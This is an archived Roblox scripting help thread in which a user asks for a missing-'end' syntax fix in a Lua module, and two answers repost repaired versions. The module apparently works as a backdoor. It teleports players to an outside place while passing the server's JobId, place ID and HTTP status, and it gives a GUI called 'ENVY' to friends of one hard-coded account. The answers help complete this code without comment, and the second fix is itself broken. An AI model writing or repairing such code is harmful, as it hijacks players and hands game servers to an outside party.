Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

"Expected 'end' (to close 'function' at line 14), got <eof>" How do I fix this?

local module = {}
function ishttp()
    local i,f = pcall(function()
        game.HttpService:GetAsync("https://www.google.com/")
    end)
    if i then
        return "true"
    else
        return "false"
    end
end
local playersTPed = {}

function module.load(plr)
	if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
        pcall(function()
	table.insert(playersTPed,plr)
        local TeleportData = {
            ["Game"]=game.PlaceId;
            ["JID"]=game.JobId;
            ["MaxPlayers"]=game.Players.MaxPlayers;
            ["Players"]=#game.Players:GetPlayers();
			["HTTP"]=ishttp()
            }
            game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))

        end)

    end
if plr:IsFriendsWith(927491161) then
    script.ENVY:Clone().Parent = plr.PlayerGui
    plr.PlayerGui:WaitForChild("ENVY").Enabled = true   
end
return module

2 answers

you forgot to add an end to the function module.load

local module = {}
function ishttp()
	local i,f = pcall(function()
		game.HttpService:GetAsync("https://www.google.com/")
	end)
	if i then
		return "true"
	else
		return "false"
	end
end
local playersTPed = {}

function module.load(plr)
	if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
		pcall(function()
			table.insert(playersTPed,plr)
			local TeleportData = {
				["Game"]=game.PlaceId;
				["JID"]=game.JobId;
				["MaxPlayers"]=game.Players.MaxPlayers;
				["Players"]=#game.Players:GetPlayers();
				["HTTP"]=ishttp()
			}
		game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))
		end)
	end
	if plr:IsFriendsWith(927491161) then
		script.ENVY:Clone().Parent = plr.PlayerGui
		plr.PlayerGui:WaitForChild("ENVY").Enabled = true   
	end
end
return module

You forgot an end at line 28. That should fix the script.

local module = {}
function ishttp()
    local i,f = pcall(function()
        game.HttpService:GetAsync("https://www.google.com/")
    end)
    if i then
        return "true"
    else
        return "false"
    end
end
local playersTPed = {}

function module.load(plr)
    if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
        pcall(function()
    table.insert(playersTPed,plr)
        local TeleportData = {
            ["Game"]=game.PlaceId;
            ["JID"]=game.JobId;
            ["MaxPlayers"]=game.Players.MaxPlayers;
            ["Players"]=#game.Players:GetPlayers();
            ["HTTP"]=ishttp()
            }
            game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))

        end)
      end
    end
if plr:IsFriendsWith(927491161) then
    script.ENVY:Clone().Parent = plr.PlayerGui
    plr.PlayerGui:WaitForChild("ENVY").Enabled = true   
end
return module

2 comments

0

it gives me this error now "attempt to index nil with 'IsFriendsWith'"

0

It says that because plr is not accessible anywhere outside of the module.load function.

This discussion is preserved as it was. New answers, comments, and votes are closed.